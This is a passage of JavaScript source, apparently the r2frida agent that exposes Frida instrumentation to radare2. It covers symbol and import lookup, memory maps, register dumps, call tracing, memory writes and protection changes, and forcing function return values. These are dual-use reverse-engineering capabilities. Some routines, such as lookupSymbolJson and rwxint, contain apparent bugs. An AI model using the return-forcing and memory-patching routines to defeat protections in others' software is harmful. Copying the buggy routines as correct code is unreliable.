const exportAddress = ptr(args[0]);
const result = [];
const modules = Process.enumerateModulesSync().map(m => m.path);
return modules.reduce((result, moduleName) => {
return result.concat(Module.enumerateExportsSync(moduleName));
}, [])
.reduce((type, obj) => {
if (ptr(obj.address).compare(exportAddress) === 0) {
result.push({
type: obj.type,
name: obj.name,
address: obj.address
});
}
return result;
}, []);
}
function lookupSymbolHere (args) {
return lookupAddress([ptr(offset)]);
}
function lookupExport (args) {
return lookupExportJson(args)
// .map(({library, name, address}) => [library, name, address].join(' '))
.map(({address}) => '' + address)
.join('\n');
}
function lookupExportR2 (args) {
return lookupExportJson(args)
.map(({name, address}) =>
['f', 'sym.' + name, '=', address].join(' '))
.join('\n');
}
function lookupExportJson (args) {
if (args.length === 2) {
const [moduleName, exportName] = args;
const address = Module.findExportByName(moduleName, exportName);
if (address === null) {
return [];
}
const m = Process.getModuleByAddress(address);
return [{
library: m.name,
name: exportName,
address: address
}];
} else {
const exportName = args[0];
let prevAddress = null;
return Process.enumerateModulesSync()
.reduce((result, m) => {
const address = Module.findExportByName(m.path, exportName);
if (address !== null && (prevAddress === null || address.compare(prevAddress))) {
result.push({
library: m.name,
name: exportName,
address: address
});
prevAddress = address;
}
return result;
}, []);
}
}
// lookup symbols
function lookupSymbol (args) {
return lookupSymbolJson(args)
// .map(({library, name, address}) => [library, name, address].join(' '))
.map(({address}) => '' + address)
.join('\n');
}
function lookupSymbolR2 (args) {
return lookupSymbolJson(args)
.map(({name, address}) =>
['f', 'sym.' + name, '=', address].join(' '))
.join('\n');
}
function lookupSymbolJson (args) {
if (args.length === 2) {
let [moduleName, symbolName] = args;
try {
const m = Process.getModuleByName(moduleName);
} catch (e) {
const res = Process.enumerateModulesSync().filter(function (x) {
return x.name.indexOf(moduleName) !== -1;
});
if (res.length !== 1) {
return [];
}
moduleName = res[0].name;
}
return [{
library: moduleName,
name: symbolName,
address: address
}];
let address = 0;
Module.enumerateSymbolsSync(moduleName).filter(function (s) {
if (s.name === symbolName) {
address = s.address;
}
});
if (address === 0) {
return [];
}
return [{
library: moduleName,
name: symbolName,
address: address
}];
} else {
let [symbolName] = args;
var at = DebugSymbol.fromName(symbolName);
if (at) {
return [{
library: moduleName,
name: symbolName,
address: at.address
}];
}
const modules = Process.enumerateModulesSync();
let address = 0;
let moduleName = '';
for (let m of modules) {
Module.enumerateSymbolsSync(m.name).filter(function (s) {
if (s.name === symbolName) {
moduleName = m.name;
address = s.address;
}
});
if (address === 0) {
return [];
}
}
return [{
library: moduleName,
name: symbolName,
address: address
}];
}
}
function listImports (args) {
return listImportsJson(args)
.map(({type, name, module, address}) => [address, type ? type[0] : ' ', name, module].join(' '))
.join('\n');
}
function listImportsR2 (args) {
const seen = new Set();
return listImportsJson(args).map((x) => {
const flags = [];
if (!seen.has(x.address)) {
seen.add(x.address);
flags.push(`f sym.imp.${x.name} = ${x.address}`);
}
if (x.slot !== undefined) {
flags.push(`f reloc.${x.targetModuleName}.${x.name}_${x.index} = ${x.slot}`);
}
return flags.join('\n');
}).join('\n');
}
function listImportsJson (args) {
const alen = args.length;
let result = [];
let moduleName = null;
if (alen === 2) {
moduleName = args[0];
const importName = args[1];
const imports = Module.enumerateImportsSync(moduleName);
if (imports !== null) {
result = imports.filter((x, i) => {
x.index = i;
return x.name === importName;
});
}
} else if (alen === 1) {
moduleName = args[0];
result = Module.enumerateImportsSync(moduleName) || [];
} else {
const modules = Process.enumerateModulesSync() || [];
if (modules.length > 0) {
moduleName = modules[0].name;
result = Module.enumerateImportsSync(moduleName) || [];
}
}
result.forEach((x, i) => {
if (x.index === undefined) {
x.index = i;
}
x.targetModuleName = moduleName;
});
return result;
}
function listClasses (args) {
const result = listClassesJson(args);
if (result instanceof Array) {
return result.join('\n');
} else {
return Object.keys(result)
.map(methodName => {
const address = result[methodName];
return [padPointer(address), methodName].join(' ');
})
.join('\n');
}
}
function classGlob (k, v) {
if (!k || !v) {
return true;
}
return k.indexOf(v.replace(/\*/g, '')) !== -1;
}
function listClassesR2 (args) {
const className = args[0];
if (args.length === 0 || args[0].indexOf('*') !== -1) {
let methods = '';
for (let cn of Object.keys(ObjC.classes)) {
if (classGlob(cn, args[0])) {
methods += listClassesR2([cn]);
}
}
return methods;
}
const result = listClassesJson(args);
if (result instanceof Array) {
return result.join('\n');
} else {
return Object.keys(result)
.map(methodName => {
const address = result[methodName];
return ['f', flagName(methodName), '=', padPointer(address)].join(' ');
})
.join('\n');
}
function flagName (m) {
return 'sym.objc.' +
(className + '.' + m)
.replace(':', '')
.replace(' ', '')
.replace('-', '')
.replace('+', '');
}
}
/* this ugly sync mehtod with while+settimeout is needed because
returning a promise is not properly handled yet and makes r2
lose track of the output of the command so you cant grep on it */
function listJavaClassesJsonSync (args) {
if (args.length === 1) {
let methods;
/* list methods */
Java.perform(function () {
const obj = Java.use(args[0]);
methods = Object.getOwnPropertyNames(Object.getPrototypeOf(obj));
// methods = Object.keys(obj).map(x => x + ':' + obj[x] );
});
// eslint-disable-next-line
while (methods === undefined) {
/* wait here */
setTimeout(null, 0);
}
return methods;
}
let classes;
/* list all classes */
Java.perform(function () {
try {
classes = Java.enumerateLoadedClassesSync();
} catch (e) {
classes = null;
}
});
// eslint-disable-next-line
while (classes === undefined) {
/* wait here */
setTimeout(null, 0);
}
return classes;
}
// eslint-disable-next-line
function listJavaClassesJson (args) {
return new Promise(function (resolve, reject) {
if (args.length === 1) {
/* list methods */
Java.perform(function () {
var obj = Java.use(args[0]);
resolve(JSON.stringify(obj, null, ' '));
});
return;
}
/* list all classes */
Java.perform(function () {
try {
resolve(Java.enumerateLoadedClassesSync().join('\n'));
} catch (e) {
reject(e);
}
});
});
}
function listClassesJson (args) {
if (JavaAvailable) {
return listJavaClassesJsonSync(args);
// return listJavaClassesJson(args);
}
if (args.length === 0) {
return Object.keys(ObjC.classes);
} else {
const klass = ObjC.classes[args[0]];
if (klass === undefined) {
throw new Error('Class ' + args[0] + ' not found');
}
return klass.$ownMethods
.reduce((result, methodName) => {
try {
result[methodName] = klass[methodName].implementation;
} catch (_) {
console.log('warning: unsupported method \'' + methodName + '\'');
}
return result;
}, {});
}
}
function listProtocols (args) {
return listProtocolsJson(args)
.join('\n');
}
function closeFileDescriptors (args) {
if (args.length === 0) {
return 'Please, provide a file descriptor';
}
return _close(+args[0]);
}
function listFileDescriptors (args) {
if (args.length === 0) {
const statBuf = Memory.alloc(128);
const fds = [];
for (let i = 0; i < 1024; i++) {
if (_fstat(i, statBuf) === 0) {
fds.push(i);
}
}
return fds;
} else {
const rc = _dup2(+args[0], +args[1]);
return rc;
}
}
function listProtocolsJson (args) {
if (args.length === 0) {
return Object.keys(ObjC.protocols);
} else {
const protocol = ObjC.protocols[args[0]];
if (protocol === undefined) {
throw new Error('Protocol not found');
}
return Object.keys(protocol.methods);
}
}
function listMallocMaps (args) {
const heaps = squashRanges(listMallocRangesJson(args));
function inRange (x) {
for (let heap of heaps) {
if (x.base.compare(heap.base) >= 0 &&
x.base.add(x.size).compare(heap.base.add(heap.size))) {
return true;
}
}
return false;
}
return squashRanges(listMemoryRangesJson())
.filter(inRange)
.map(({base, size, protection, file}) =>
[
padPointer(base),
'-',
padPointer(base.add(size)),
protection,
]
.concat((file !== undefined) ? [file.path] : [])
.join(' ')
)
.join('\n');
}
function listMallocRangesJson (args) {
return Process.enumerateMallocRangesSync();
}
function listMallocRangesR2 (args) {
const chunks = listMallocRangesJson(args)
.map(_ => 'f chunk.' + _.base + ' ' + _.size + ' ' + _.base).join('\n');
return chunks + squashRanges(listMallocRangesJson(args))
.map(_ => 'f heap.' + _.base + ' ' + _.size + ' ' + _.base).join('\n');
}
function listMallocRanges (args) {
return squashRanges(listMallocRangesJson(args))
.map(_ => '' + _.base + ' - ' + _.base.add(_.size) + ' (' + _.size + ')').join('\n');
}
function listMemoryRangesHere (args) {
if (args.length !== 1) {
args = [ ptr(offset) ];
}
const addr = +args[0];
return listMemoryRangesJson()
.filter(({base, size}) => (addr >= +base && addr < (+base + size)))
.map(({base, size, protection, file}) =>
[
padPointer(base),
'-',
padPointer(base.add(size)),
protection,
]
.concat((file !== undefined) ? [file.path] : [])
.join(' ')
)
.join('\n');
}
function rwxstr (x) {
let str = '';
str += (x & 1) ? 'r' : '-';
str += (x & 2) ? 'w' : '-';
str += (x & 4) ? 'x' : '-';
return str;
}
function rwxint (x) {
const ops = [ '---', '--x', '-w-', '-wx', 'r--', 'r-x', 'rw-', 'rwx' ];
return ops.indexOf([x]);
}
function squashRanges (ranges) {
// console.log("SquashRanges");
let res = [];
let begin = ptr(0);
let end = ptr(0);
let lastPerm = 0;
let lastFile = '';
for (let r of ranges) {
lastPerm |= rwxint(r.protection);
if (r.file) {
lastFile = r.file;
}
// console.log("-", r.base, range.base.add(range.size));
if (r.base.equals(end)) {
// enlarge segment
end = end.add(r.size);
// console.log("enlarge", begin, end);
} else {
if (begin.equals(ptr(0))) {
begin = r.base;
end = begin.add(r.size);
// console.log(" set", begin, end);
} else {
// console.log(" append", begin, end);
res.push({base: begin, size: end.sub(begin), protection: rwxstr(lastPerm), file: lastFile});
end = ptr(0);
begin = ptr(0);
lastPerm = 0;
lastFile = '';
}
}
}
if (!begin.equals(ptr(0))) {
res.push({base: begin, size: end.sub(begin), protection: rwxstr(lastPerm), file: lastFile});
}
return res;
}
function listMemoryMaps () {
return squashRanges(listMemoryRangesJson())
.filter(_ => _.file)
.map(({base, size, protection, file}) =>
[
padPointer(base),
'-',
padPointer(base.add(size)),
protection,
]
.concat((file !== undefined) ? [file.path] : [])
.join(' ')
)
.join('\n');
}
function listMemoryRangesR2 () {
return listMemoryRangesJson()
.map(({base, size, protection, file}) =>
[
'f', 'map.' + padPointer(base),
'=', base,
// padPointer(base.add(size)),
'#',
protection,
]
.concat((file !== undefined) ? [file.path] : [])
.join(' ')
)
.join('\n');
}
function listMemoryRanges () {
return listMemoryRangesJson()
.map(({base, size, protection, file}) =>
[
padPointer(base),
'-',
padPointer(base.add(size)),
protection,
]
.concat((file !== undefined) ? [file.path] : [])
.join(' ')
)
.join('\n');
}
function listMemoryRangesJson () {
return Process.enumerateRangesSync({
protection: '---',
coalesce: false
});
}
function changeMemoryProtection (args) {
const [address, size, protection] = args;
Memory.protect(ptr(address), parseInt(size), protection);
return true;
}
function getPid () {
return _getpid();
}
function listThreads () {
return Process.enumerateThreadsSync()
.map(thread => thread.id)
.join('\n');
}
function listThreadsJson () {
return Process.enumerateThreadsSync()
.map(thread => thread.id);
}
function regProfileAliasFor (arch) {
switch (arch) {
case 'arm64':
return `=PC pc
=SP sp
=BP x29
=A0 x0
=A1 x1
=A2 x2
=A3 x3
=ZF zf
=SF nf
=OF vf
=CF cf
=SN x8
`;
break;
case 'arm':
return `=PC r15
=LR r14
=SP sp
=BP fp
=A0 r0
=A1 r1
=A2 r2
=A3 r3
=ZF zf
=SF nf
=OF vf
=CF cf
=SN r7
`;
break;
case 'x64':
return `=PC rip
=SP rsp
=BP rbp
=A0 rdi
=A1 rsi
=A2 rdx
=A3 rcx
=A4 r8
=A5 r9
=SN rax
`;
break;
case 'x86':
return `=PC eip
=SP esp
=BP ebp
=A0 eax
=A1 ebx
=A2 ecx
=A3 edx
=A4 esi
=A5 edi
=SN eax
`;
break;
}
}
function dumpRegisterProfile (args) {
const threads = Process.enumerateThreadsSync();
const thread = threads[0];
const {id, state, context} = thread;
const names = Object.keys(JSON.parse(JSON.stringify(context)))
.filter(_ => _ !== 'pc' && _ !== 'sp');
names.sort(compareRegisterNames);
let off = 0;
const inc = Process.pointerSize;
let profile = regProfileAliasFor(Process.arch);
for (let reg of names) {
profile += `gpr\t${reg}\t${inc}\t${off}\t0\n`;
off += inc;
}
return profile;
}
function dumpRegisterArena (args) {
const threads = Process.enumerateThreadsSync();
let [tidx] = args;
if (!tidx) {
tidx = 0;
}
if (tidx < 0 || tidx >= threads.length) {
return '';
}
const thread = threads[tidx];
const {id, state, context} = thread;
const names = Object.keys(JSON.parse(JSON.stringify(context)))
.filter(_ => _ !== 'pc' && _ !== 'sp');
names.sort(compareRegisterNames);
let off = 0;
const inc = Process.pointerSize;
let buf = Buffer.alloc(inc * names.length);
for (let reg of names) {
const r = context[reg];
let b = [r.and(0xff),
r.shr(8).and(0xff),
r.shr(16).and(0xff),
r.shr(24).and(0xff),
r.shr(32).and(0xff),
r.shr(40).and(0xff),
r.shr(48).and(0xff),
r.shr(56).and(0xff)];
for (let i = 0; i < inc; i++) {
buf.writeUInt8(b[i], off + i);
}
off += inc;
}
return buf.toString('hex');
}
function dumpRegistersR2 (args) {
const threads = Process.enumerateThreadsSync();
let [tidx] = args;
if (!tidx) {
tidx = 0;
}
if (tidx < 0 || tidx >= threads.length) {
return '';
}
const thread = threads[tidx];
const {id, state, context} = thread;
const names = Object.keys(JSON.parse(JSON.stringify(context)));
names.sort(compareRegisterNames);
const values = names
.map((name, index) => {
if (name === 'pc' || name === 'sp') return '';
const value = context[name] || 0;
return `ar ${name} = ${value}\n`;
});
return values.join('');
}
function dumpRegisters () {
return Process.enumerateThreadsSync()
.map(thread => {
const {id, state, context} = thread;
const heading = `tid ${id} ${state}`;
const names = Object.keys(JSON.parse(JSON.stringify(context)));
names.sort(compareRegisterNames);
const values = names
.map((name, index) => alignRight(name, 3) + ' : ' + padPointer(context[name]))
.map(indent);
return heading + '\n' + values.join('');
})
.join('\n\n');
}
function dumpRegistersJson () {
return Process.enumerateThreadsSync();
}
function getOrSetEnv (args) {
if (args.length === 0) {
return getEnv().join('\n');
}
const {key, value} = getOrSetEnvJson(args);
return key + '=' + value;
}
function getOrSetEnvJson (args) {
if (args.length === 0) {
return getEnvJson();
}
const kv = args.join('');
const eq = kv.indexOf('=');
if (eq !== -1) {
const k = kv.substring(0, eq);
const v = kv.substring(eq + 1);
setenv(k, v, true);
return {
key: k,
value: v
};
} else {
return {
key: kv,
value: getenv(kv)
};
}
}
function getEnv () {
const result = [];
let envp = Memory.readPointer(Module.findExportByName(null, 'environ'));
let env;
while (!envp.isNull() && !(env = Memory.readPointer(envp)).isNull()) {
result.push(Memory.readCString(env));
envp = envp.add(Process.pointerSize);
}
return result;
}
function getEnvJson () {
return getEnv().map(kv => {
const eq = kv.indexOf('=');
return {
key: kv.substring(0, eq),
value: kv.substring(eq + 1)
};
});
}
function dlopen (args) {
const path = args[0];
const handle = _dlopen(Memory.allocUtf8String(path), RTLD_GLOBAL | RTLD_LAZY);
if (handle.isNull()) {
throw new Error('Failed to load: ' + path);
}
return handle.toString();
}
function formatArgs (args, fmt) {
const a = [];
let j = 0;
for (let i = 0; i < fmt.length; i++, j++) {
const arg = args[j];
switch (fmt[i]) {
case '+':
case '^':
j--;
break;
case 'x':
a.push('' + ptr(arg));
break;
case 'c':
a.push("'" + arg + "'");
break;
case 'i':
a.push(+arg);
break;
case 'z': // *s
const s = _readUntrustedUtf8(arg);
a.push(JSON.stringify(s));
break;
case 'Z': // *s[i]
const len = +args[j + 1];
const str = _readUntrustedUtf8(arg, len);
a.push(JSON.stringify(str));
break;
case 'O':
if (ObjC.available) {
if (!arg.isNull()) {
const o = new ObjC.Object(arg);
a.push(`${o.$className}: "${o.toString()}"`);
} else {
a.push('nil');
}
} else {
a.push(arg);
}
break;
default:
a.push(arg);
break;
}
}
return a;
}
function _readUntrustedUtf8 (address, length) {
try {
return Memory.readUtf8String(ptr(address), length);
} catch (e) {
if (e.message !== 'invalid UTF-8') {
throw e;
}
return '(invalid utf8)';
}
}
function traceList () {
return traceListeners.map(_ => {
return _.at.address + '\t' + _.at.moduleName + '\t' + _.at.name;
}).join('\n');
}
function traceListJson () {
return traceListeners.map(_ => JSON.stringify(_)).join('\n');
}
function getPtr (p) {
p = p.trim();
if (!p || p === '$$') {
return ptr(offset);
}
try {
if (p.substring(0, 2) === '0x') {
return ptr(p);
}
} catch (e) {
// console.error(e);
}
// return DebugSymbol.fromAddress(ptr_p) || '' + ptr_p;
return Module.findExportByName(null, p);
}
function traceHook (args) {
if (args.length === 0) {
return JSON.stringify(tracehooks, null, 2);
}
var arg = args[0];
if (arg !== undefined) {
tracehookSet(arg, args.slice(1).join(' '));
}
return '';
}
function traceFormat (args) {
if (args.length === 0) {
return traceList();
}
let address, format;
if (args.length === 2) {
address = '' + getPtr(args[0]);
format = args[1];
} else {
address = offset;
format = args[0];
}
const traceOnEnter = format.indexOf('^') !== -1;
const traceBacktrace = format.indexOf('+') !== -1;
const at = nameFromAddress(address);
const listener = Interceptor.attach(ptr(address), {
myArgs: [],
myBacktrace: [],
onEnter: function (args) {
this.myArgs = formatArgs(args, format);
if (traceBacktrace) {
this.myBacktrace = Thread.backtrace(this.context).map(DebugSymbol.fromAddress);
}
if (traceOnEnter) {
console.log(at, this.myArgs);
if (traceBacktrace) {
console.log(this.myBacktrace.join('\n '));
}
}
},
onLeave: function (retval) {
if (!traceOnEnter) {
console.log(at, this.myArgs, '=', retval);
if (traceBacktrace) {
console.log(this.myBacktrace.join('\n '));
}
}
}
});
traceListeners.push({
at: at,
format: format,
listener: listener
});
return true;
}
function backtrace (args) {
return 'TODO';
}
var log = '';
var traces = {};
function traceLogDump () {
return log;
}
function traceLogClear () {
const output = log;
log = '';
traces = {};
return output;
}
function traceLog (msg) {
if (typeof msg === 'string') {
log += msg + '\n';
return;
}
return traceLogClear();
}
function traceRegs (args) {
if (args.length < 1) {
return 'Usage: dtr [address] [reg ...]';
}
const address = getPtr(args[0]);
const rest = args.slice(1);
const listener = Interceptor.attach(address, traceFunction);
function traceFunction (_) {
const extra = (args[0] !== address) ? ` (${args[0]})` : '';
const at = nameFromAddress(address);
console.log(`\nTrace probe hit at ${address} ${extra} ${at}`);
console.log('\t' + rest.map(r => {
let tail = '';
if (r.indexOf('=') !== -1) {
const kv = r.split('=');
this.context[kv[0]] = ptr(kv[1]);
} else {
const rv = ptr(this.context[r]);
try {
tail = Memory.readCString(rv);
if (tail) {
tail = ' (' + tail + ')';
}
} catch (e) {
tail = '';
}
}
return r + ' = ' + this.context[r] + tail;
}).join('\n\t'));
/* TODO: do we want to show backtrace too? */
const showBacktrace = false;
if (showBacktrace) {
const bt = Thread.backtrace(this.context).map(DebugSymbol.fromAddress);
console.log(bt.join('\n\t'));
}
}
traceListeners.push({
at: address,
listener: listener,
args: rest
});
return '';
}
function traceHere () {
const args = [ offset ];
args.forEach(address => {
const at = DebugSymbol.fromAddress(ptr(address)) || '' + ptr(address);
const listener = Interceptor.attach(ptr(address), function () {
const bt = Thread.backtrace(this.context).map(DebugSymbol.fromAddress);
const at = nameFromAddress(address);
console.log('Trace probe hit at ' + address + '::' + at + '\n\t' + bt.join('\n\t'));
});
traceListeners.push({
at: at,
listener: listener
});
});
return true;
}
function traceR2 (args) {
return traceListeners.map(_ => `CC ${_.args} @ ${_.at}`).join('\n');
}
function traceJava (klass, method) {
Java.perform(function () {
var Throwable = Java.use('java.lang.Throwable');
var Activity = Java.use('android.app.Activity');
Activity.onResume.implementation = function () {
console.log('[*] onResume() got called!');
this.onResume();
const message = Throwable.$new().getStackTrace().map(_ => _.toString()).join('\n');
console.log('BACKTRACE', message);
};
});
}
function traceJson (args) {
if (args.length === 0) {
return traceListJson();
}
return new Promise(function (resolve, reject) {
(function pull () {
var arg = args.pop();
if (arg === undefined) {
return resolve('');
}
numEval(arg).then(function (at) {
console.log(traceReal(['' + at]));
pull();
}).catch(reject);
})();
});
}
function trace (args) {
if (args.length === 0) {
return traceList();
}
return traceJson(args);
}
var tracehooks = {};
function tracehookSet(name, format, callback) {
if (name === null) {
console.error('Cannot resolve name for ' + address);
return false;
}
tracehooks[name] = {
format: format,
callback: callback
};
return true;
}
function arrayBufferToHex (arrayBuffer) {
if (typeof arrayBuffer !== 'object' || arrayBuffer === null || typeof arrayBuffer.byteLength !== 'number') {
throw new TypeError('Expected input to be an ArrayBuffer')
}
var view = new Uint8Array(arrayBuffer)
var result = ''
var value
for (var i = 0; i < view.length; i++) {
value = view[i].toString(16)
result += (value.length === 1 ? '0' + value : value)
}
return result
}
// \dth printf 0,1
function tracehook(address, args) {
const at = nameFromAddress(address);
const th = tracehooks[at];
var fmtarg = [];
if (th && th.format) {
for (let fmt of th.format.split(' ')) {
var [k, v] = fmt.split(':');
switch (k) {
case 'i':
//console.log('int', args[v]);
fmtarg.push(+args[v]);
break;
case 's':
var [a, l] = v.split(',');
var addr = ptr(args[a]);
var size = +args[l];
var buf = Memory.readByteArray(addr, size);
//console.log('buf', arrayBufferToHex(buf));
//console.log('string', Memory.readCString(addr, size));
fmtarg.push(Memory.readCString(addr, size));
break;
case 'z':
//console.log('string', Memory.readCString(args[+v]));
fmtarg.push(Memory.readCString(ptr(args[+v])));
break;
case 'v':
var [a, l] = v.split(',');
var addr = ptr(args[a]);
var buf = Memory.readByteArray(addr, +args[l]);
fmtarg.push(arrayBufferToHex(buf));
break;
}
}
}
console.log('[TRACE]', address, '(', at, ')', JSON.stringify(fmtarg));
}
function traceReal (args) {
if (args.length === 0) {
return traceList();
}
args.forEach(address => {
if (address.startsWith('java:')) {
const dot = address.lastIndexOf('.');
if (dot !== -1) {
const klass = address.substring(5, dot);
const methd = address.substring(dot + 1);
traceJava(klass, methd);
} else {
console.log('Invalid java method name. Use \\dt java:package.class.method');
}
return;
}
const at = DebugSymbol.fromAddress(ptr(address)) || '' + ptr(address);
for (var i in traceListeners) {
if (traceListeners[i].at === at) {
console.error('There\'s a trace already in this address');
return;
}
}
const listener = Interceptor.attach(ptr(address), function (args) {
tracehook(address, args);
const frames = Thread.backtrace(this.context).map(DebugSymbol.fromAddress);
traceLog('f trace.' + address + ' = ' + address);
var prev = address;
traceLog('agn ' + prev);
for (let i in frames) {
var frame = frames[i];
var addr = ('' + frame).split(' ')[0];
console.log(' - ' + frame);
traceLog('f trace.for.' + address + '.from.' + addr + ' = ' + prev);
if (!traces[prev + addr]) {
traceLog('agn ' + addr);
traceLog('agn ' + prev);
traceLog('age ' + prev + ' ' + addr);
traces[prev + addr] = true;
}
prev = addr;
}
});
traceListeners.push({
at: at,
listener: listener
});
});
}
// return true;
function clearTrace (args) {
traceListeners.splice(0).forEach(lo => lo.listener.detach());
return '';
}
function interceptHelp (args) {
return 'Usage: di0, di1 or do-1 passing as argument the address to intercept';
}
function interceptRet0 (args) {
const p = ptr(args[0]);
Interceptor.attach(p, {
onLeave (retval) {
retval.replace(ptr('0'));
}
});
}
function interceptRet1 (args) {
const p = ptr(args[0]);
Interceptor.attach(p, {
onLeave (retval) {
retval.replace(ptr('1'));
}
});
}
function interceptRet_1 (args) { // eslint-disable-line
const p = ptr(args[0]);
Interceptor.attach(p, {
onLeave (retval) {
retval.replace(ptr('-1'));
}
});
}
function getenv (name) {
return Memory.readUtf8String(_getenv(Memory.allocUtf8String(name)));
}
function setenv (name, value, overwrite) {
return _setenv(Memory.allocUtf8String(name), Memory.allocUtf8String(value), overwrite ? 1 : 0);
}
function stalkTraceFunction (args) {
return _stalkTraceSomething(_stalkFunctionAndGetEvents, args);
}
function stalkTraceFunctionR2 (args) {
return _stalkTraceSomethingR2(_stalkFunctionAndGetEvents, args);
}
function stalkTraceFunctionJson (args) {
return _stalkTraceSomethingJson(_stalkFunctionAndGetEvents, args);
}
function stalkTraceEverything (args) {
return _stalkTraceSomething(_stalkEverythingAndGetEvents, args);
}
function stalkTraceEverythingR2 (args) {
return _stalkTraceSomethingR2(_stalkEverythingAndGetEvents, args);
}
function stalkTraceEverythingJson (args) {
return _stalkTraceSomethingJson(_stalkEverythingAndGetEvents, args);
}
function _stalkTraceSomething (getEvents, args) {
return getEvents(args, (isBlock, events) => {
let previousSymbolName;
const result = [];
const threads = Object.keys(events);
for (const threadId of threads) {
result.push(`; --- thread ${threadId} --- ;`);
if (isBlock) {
result.push(..._mapBlockEvents(events[threadId], (address) => {
const pd = disasmOne(address, previousSymbolName);
previousSymbolName = getSymbolName(address);
return pd;
}, (begin, end) => {
previousSymbolName = null;
return '';
}));
} else {
result.push(...events[threadId].map((event) => {
const address = event[0];
const target = event[1];
const pd = disasmOne(address, previousSymbolName, target);
previousSymbolName = getSymbolName(address);
return pd;
}));
}
}
return result.join('\n');
});
function disasmOne (address, previousSymbolName, target) {
let pd = disasm(address, 1, previousSymbolName);
if (pd.charAt(pd.length - 1) === '\n') {
pd = pd.slice(0, -1);
}
if (target) {
pd += ` ; ${target} ${getSymbolName(target)}`;
}
return pd;
}
}
function _stalkTraceSomethingR2 (getEvents, args) {
return getEvents(args, (isBlock, events) => {
const result = [];
const threads = Object.keys(events);
for (const threadId of threads) {
if (isBlock) {
result.push(..._mapBlockEvents(events[threadId], (address) => {
return `dt+ ${address} 1`;
}));
} else {
result.push(...events[threadId].map((event) => {
const commands = [];
const location = event[0];
commands.push(`dt+ ${location} 1`);
const target = event[1];
if (target) {
commands.push(`CC ${target} ${getSymbolName(target)} @ ${location}`);
}
return commands.join('\n');
}));
}
}
return result.join('\n');
});
}
function _stalkTraceSomethingJson (getEvents, args) {
return getEvents(args, (isBlock, events) => {
const result = {
event: config['stalker.event'],
threads: events
};
return result;
});
}
function _stalkFunctionAndGetEvents (args, eventsHandler) {
_requireFridaVersion(10, 3, 13);
const at = getPtr(args[0]);
const conf = {
event: config['stalker.event'],
timeout: config['stalker.timeout'],
stalkin: config['stalker.in']
};
const isBlock = conf.event === 'block' || conf.event === 'compile';
const operation = stalkFunction(conf, at)
.then((events) => {
return eventsHandler(isBlock, events);
});
breakpointContinue([]);
return operation;
}
function _stalkEverythingAndGetEvents (args, eventsHandler) {
_requireFridaVersion(10, 3, 13);
const timeout = (args.length > 0) ? +args[0] : null;
const conf = {
event: config['stalker.event'],
timeout: config['stalker.timeout'],
stalkin: config['stalker.in']
};
const isBlock = conf.event === 'block' || conf.event === 'compile';
const operation = stalkEverything(conf, timeout)
.then((events) => {
return eventsHandler(isBlock, events);
});
breakpointContinue([]);
return operation;
}
function getSymbolName (address) {
const ds = DebugSymbol.fromAddress(address);
return (ds.name === null || ds.name.indexOf('0x') === 0) ? '' : ds.name;
}
function _requireFridaVersion (major, minor, patch) {
const required = [major, minor, patch];
const actual = Frida.version.split('.');
for (let i = 0; i < actual.length; i++) {
if (actual[i] > required[i]) {
return;
}
if (actual[i] < required[i]) {
throw new Error(`Frida v${major}.${minor}.${patch} or higher required for this (you have v${Frida.version}).`);
}
}
}
function _mapBlockEvents (events, onInstruction, onBlock) {
const result = [];
events.forEach(([begin, end]) => {
if (typeof onBlock === 'function') {
result.push(onBlock(begin, end));
}
let cursor = begin;
while (cursor < end) {
const [instr, next] = _tolerantInstructionParse(cursor);
if (instr !== null) {
result.push(onInstruction(cursor));
}
cursor = next;
}
});
return result;
}
function _tolerantInstructionParse (address) {
let instr = null;
let cursor = address;
try {
instr = Instruction.parse(cursor);
cursor = instr.next;
} catch (e) {
if (e.message !== 'invalid instruction' &&
e.message !== `access violation accessing ${cursor}`) {
throw e;
}
// skip invalid instructions
console.log(`warning: error parsing instruction @ ${cursor}`);
switch (Process.arch) {
case 'arm64':
cursor = cursor.add(4);
break;
case 'arm':
cursor = cursor.add(2);
break;
default:
cursor = cursor.add(1);
break;
}
}
return [instr, cursor];
}
function compareRegisterNames (lhs, rhs) {
const lhsIndex = parseRegisterIndex(lhs);
const rhsIndex = parseRegisterIndex(rhs);
const lhsHasIndex = lhsIndex !== null;
const rhsHasIndex = rhsIndex !== null;
if (lhsHasIndex && rhsHasIndex) {
return lhsIndex - rhsIndex;
}
if (lhsHasIndex === rhsHasIndex) {
const lhsLength = lhs.length;
const rhsLength = rhs.length;
if (lhsLength === rhsLength) {
return lhs.localeCompare(rhs);
}
if (lhsLength > rhsLength) {
return 1;
}
return -1;
}
if (lhsHasIndex) {
return 1;
}
return -1;
}
function parseRegisterIndex (name) {
const length = name.length;
for (let index = 1; index < length; index++) {
const value = parseInt(name.substr(index));
if (!isNaN(value)) {
return value;
}
}
return null;
}
function indent (message, index) {
if (index === 0) {
return message;
}
if ((index % 3) === 0) {
return '\n' + message;
}
return '\t' + message;
}
function alignRight (text, width) {
let result = text;
while (result.length < width) {
result = ' ' + result;
}
return result;
}
function padPointer (value) {
let result = value.toString(16);
const paddedLength = 2 * pointerSize;
while (result.length < paddedLength) {
result = '0' + result;
}
return '0x' + result;
}
const requestHandlers = {
read: read,
write: write,
state: state,
perform: perform,
evaluate: evaluate,
};
function read (params) {
const {offset, count} = params;
if (r2frida.hookedRead !== null) {
return r2frida.hookedRead(offset, count);
}
try {
const bytes = Memory.readByteArray(ptr(offset), count);
return [{}, (bytes !== null) ? bytes : []];
} catch (e) {
return [{}, []];
}
}
function isTrue (x) {
return (x === true || x === 1 || x === 'true');
}
function write (params, data) {
if (typeof r2frida.hookedWrite === 'function') {
return r2frida.hookedWrite(params.offset, data);
}
if (isTrue(config['patch.code'])) {
if (typeof Memory.patchCode !== 'function') {
Memory.writeByteArray(ptr(params.offset), data);
} else {
Memory.patchCode(ptr(params.offset), 1, function (ptr) {
Memory.writeByteArray(ptr, data);
});
}
} else {
Memory.writeByteArray(ptr(params.offset), data);
}
return [{}, null];
}
function state (params, data) {
offset = params.offset;
suspended = params.suspended;
return [{}, null];
}
function perform (params) {
const {command} = params;
const tokens = command.split(/ /);
const [name, ...args] = tokens;
/*
if (name.endsWith('?') && name !== 'e?') {
console.error('TODO: show help of \\?~' + name.substring(0, name.length - 1));
return;
}
*/
const userHandler = global.r2frida.commandHandler(name);
const handler = userHandler !== undefined
? userHandler : commandHandlers[name];
if (handler === undefined) {
throw new Error('Unhandled command: ' + name);
}
const value = handler(args);
if (value instanceof Promise) {
return value.then(output => {
return [{
value: (typeof output === 'string') ? output : JSON.stringify(output)
}, null];
});
}
return [{
